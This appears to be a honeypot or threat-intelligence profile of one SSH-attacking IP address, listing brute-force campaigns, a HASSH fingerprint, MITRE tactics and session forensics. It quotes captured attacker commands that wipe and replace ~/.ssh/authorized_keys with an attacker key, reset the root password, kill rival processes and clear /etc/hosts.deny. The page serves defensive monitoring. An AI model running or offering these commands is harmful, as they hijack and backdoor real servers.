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Location
🇺🇸 US / Reston
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
147
Above average by volume
Agent Count
2
First / Last Seen
2026-05-22 04:08 — 2026-05-30 07:49
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (1040 IPs, 90 countries)
HASSH
Active
high
🇺🇸 US
1040 IPs
428929 events
http:scanssh:bruteforce
2026-02-25 — ongoing · 1040 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED
ASN
Active
medium
🇭🇰 HK
59 IPs
21607 events
ftp:bruteforcehttp:scanmysql:bruteforcessh:bruteforce
2026-02-18 — ongoing · 59 IPs from the same network (UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS135377) were active during overlapping time periods. …
Session Forensics
Sessions
20 (3 with login)
Avg Depth Score
0.27
Commands Executed
23
Files Downloaded
3
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:m4DoHLEWdm7F"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
Fingerprints
HASSH
SSH Client
Evidence Timeline
Scanner
66131ab7ca6f
15%
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SSH-2.0-libssh_0.9.6
Scanner
8d3bd7c215c8
15%
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Scanner
e2dc4710f79a
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
48d7c945a031
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
7494edc69ec2
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Scanner
cb84541036d5
15%
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SSH-2.0-libssh_0.9.6
Scanner
41a1b05d952f
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
5e491e5bec18
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:m4DoHLEWdm7F"|chpasswd|bash
Scanner
093a2d2add5c
15%
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SSH-2.0-libssh_0.9.6
Scanner
97f4b44fdf67
15%
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SSH-2.0-libssh_0.9.6